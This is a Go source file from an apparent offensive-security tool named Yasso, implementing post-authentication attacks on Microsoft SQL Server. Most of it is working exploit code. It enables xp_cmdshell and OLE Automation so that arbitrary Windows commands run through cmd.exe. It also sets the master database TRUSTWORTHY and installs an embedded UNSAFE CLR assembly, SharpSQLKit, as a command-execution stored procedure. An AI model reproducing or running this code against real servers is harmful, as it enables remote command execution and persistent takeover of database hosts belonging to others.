package mssql

import (
	config2 "Yasso/config"
	"Yasso/core/logger"
	"Yasso/core/plugin"
	"Yasso/pkg/exploit/config"
	"database/sql"
	_ "embed"
	"fmt"
	"strconv"
	"time"
)

//go:embed static/SharpSQLKit.txt
var SharpSQLKit string

func ExploitMssql(exploits config.Exploits, method int, Command string) {
	var (
		conn = new(setting)
	)
	mssqlConn, status, err := plugin.MssqlConn(config2.ServiceConn{
		Hostname: exploits.Hostname,
		Port:     exploits.Port,
		Timeout:  1000 * time.Millisecond,
	}, exploits.User, exploits.Pass)
	if status == false || err != nil {
		logger.Fatal("conn mssql failed")
		return
	}

	switch method {
	case 1:
		conn.Setting(mssqlConn)
		conn.xp_shell(Command)
	case 2:
		conn.Setting(mssqlConn)
		conn.sp_shell(Command)
	case 3:
		conn.Setting(mssqlConn)
		conn.Install_clr()
	case 4:
		conn.Setting(mssqlConn)
		conn.Uninstall_clr()
	default:
		logger.Fatal("not found mssql exploit method")
		return
	}
}

func (s *setting) Setting(conn *sql.DB) {
	s.Conn = conn
}

type setting struct {
	Conn    *sql.DB
	Command string
}

func (s *setting) xp_shell(Command string) bool {

	if s.set_configuration("xp_cmdshell", 0) && !s.enable_xp_cmdshell() {
		return false
	}
	logger.Success(fmt.Sprintf("Command: %v", Command))
	var sqlstr = fmt.Sprintf("exec master..xp_cmdshell '%v'", Command)
	r, err := config.SQLExecute(s.Conn, sqlstr)
	if err != nil {
		logger.Fatal(fmt.Sprintf("exec xp_cmdshell command failed %v", err))
		return false
	}
	for _, b := range r.Rows {
		fmt.Println(b[0])
	}
	return true
}

func (s *setting) sp_shell(Command string) bool {
	if s.check_configuration("Ole Automation Procedures", 0) && !s.Enable_ole() {
		return false
	}
	var sqlstr = fmt.Sprintf(`declare @shell int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'exec',@exec output,'c:\windows\system32\cmd.exe /c %v'
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'ReadAll', @str out
select @str`, Command)
	logger.Success(fmt.Sprintf("Command: %v", Command))
	r, err := config.SQLExecute(s.Conn, sqlstr)
	if err != nil {
		logger.Fatal(fmt.Sprintf("exec ole command failed %v", err))
		return false
	}
	for i, b := range r.Rows {
		fmt.Println(b[i])
	}
	return true
}

func (s *setting) Enable_ole() bool {
	if !s.set_configuration("show advanced options", 1) {
		logger.Fatal("cannot enable 'show advanced options'")
		return false
	}
	if !s.set_configuration("Ole Automation Procedures", 1) {
		logger.Fatal("cannot enable 'Ole Automation Procedures'")
		return false
	}
	return true
}

func (s *setting) check_configuration(option string, value int) bool {
	var Command = fmt.Sprintf(`SELECT cast(value as INT) as b FROM sys.configurations where name = '%s';`, option)
	r, err := config.SQLExecute(s.Conn, Command)
	if err != nil {
		return false
	}
	if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) {
		return true
	}
	return false
}

func (s *setting) set_configuration(option string, value int) bool {
	// 设置
	var Command = fmt.Sprintf("exec master.dbo.sp_configure '%v','%v';RECONFIGURE;", option, value)
	_, err := config.SQLExecute(s.Conn, Command)
	if err != nil {
		return false
	}
	return s.check_configuration(option, value)
}

func (s *setting) set_permission_set() bool {
	var Command = fmt.Sprintf("ALTER DATABASE master SET TRUSTWORTHY ON;")
	logger.Fatal("ALTER DATABASE master SET TRUSTWORTHY ON")
	_, err := config.SQLExecute(s.Conn, Command)
	if err != nil {
		logger.Fatal("ALTER DATABASE master SET TRUSTWORTHY ON Failed")
		return false
	}
	return true
}

func (s *setting) enable_xp_cmdshell() bool {
	if !s.set_configuration("show advanced options", 1) {
		logger.Fatal("cannot ebable 'show advanced options'")
		return false
	}
	if !s.set_configuration("xp_cmdshell", 1) {
		logger.Fatal("cannot enable 'xp_cmdshell'")
		return false
	}
	return true
}

func (s *setting) Install_clr() bool {
	if !s.set_permission_set() {
		return false
	}
	if !s.CREATE_ASSEMBLY() {
		return false
	}
	if !s.CREATE_PROCEDURE() {
		return false
	}
	logger.Info("Install SharpSQLKit successful!")
	logger.Info("Please Use SQL Connect Tools to Execute")
	return true
}

func (s *setting) CREATE_ASSEMBLY() bool {
	var KitHex string
	logger.Info("SQLKit ==> SharpSQLKit")
	KitHex = SharpSQLKit
	var Command = fmt.Sprintf(`CREATE ASSEMBLY [CLR_module]
    AUTHORIZATION [dbo]
    FROM 0x%s
    WITH PERMISSION_SET = UNSAFE;`, KitHex)
	_, err := config.SQLExecute(s.Conn, Command)
	if err != nil {
		logger.Fatal(fmt.Sprintf("Import the assembly failed %v", err))
		return false
	}
	logger.Info("Import the assembly")
	return true
}

func (s *setting) CREATE_PROCEDURE() bool {
	var Command string
	Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[ClrExec] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]`)
	_, err := config.SQLExecute(s.Conn, Command)
	if err != nil {
		logger.Fatal(fmt.Sprintf("Link the assembly to a stored procedure failed %v", err))
		return false
	}
	logger.Info("Link the assembly to a stored procedure")
	return true
}

func (s *setting) Uninstall_clr() bool {
	var Command string
	logger.Info("SQLKit ==> SharpSQLKit")
	Command = fmt.Sprintf(`drop PROCEDURE dbo.ClrExec
drop assembly CLR_module`)
	_, err := config.SQLExecute(s.Conn, Command)
	if err != nil {
		logger.Fatal(fmt.Sprintf("Uninstall SQLKit failed %v", err))
		return false
	}
	logger.Info("uninstall SQLKit successful!")
	return true
}